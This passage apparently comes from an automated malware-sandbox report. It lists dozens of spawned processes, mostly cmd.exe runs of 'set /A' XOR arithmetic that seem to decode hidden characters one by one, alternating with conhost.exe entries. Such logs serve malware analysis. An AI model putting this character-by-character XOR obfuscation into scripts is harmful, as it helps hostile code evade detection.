                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:37
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x27^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:38
                                                                                            Start time:10:04:11
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:39
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x2E^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:40
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:41
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x0A^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:42
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:43
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x63^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:44
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:45
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x26^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:46
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:47
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:48
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:49
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x39^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:50
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:51
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7F^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:52
                                                                                            Start time:10:04:12
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:53
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:54
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:55
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x67^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:56
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:57
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:58
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:59
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x22^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:60
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:61
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:62
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:63
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:64
                                                                                            Start time:10:04:13
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:65
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x33^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:66
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:67
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x73^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:68
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:69
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:70
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:71
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:72
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:73
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:74
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:75
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:76
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:77
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:78
                                                                                            Start time:10:04:14
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:79
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:80
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:81
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:82
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:83
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x67^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:84
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:85
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:86
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:87
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x22^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:89
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:90
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x6B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:91
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:92
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x7B^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:93
                                                                                            Start time:10:04:15
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
                                                                                            MD5 hash:81CA40085FC75BABD2C91D18AA9FFA68
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:94
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\SysWOW64\cmd.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:cmd.exe /c set /A "0x67^75"
                                                                                            Imagebase:
                                                                                            File size:236544 bytes
                                                                                            MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                            Has elevated privileges:
                                                                                            Has administrator privileges:
                                                                                            Programmed in:C, C++ or other language

                                                                                            General

                                                                                            Target ID:95
                                                                                            Start time:10:04:16
                                                                                            Start date:25/01/2023
                                                                                            Path:C:\Windows\System32\Conhost.exe
                                                                                            Wow64 process (32bit):
                                                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                            Imagebase:
                                                                                            File size:875008 bytes
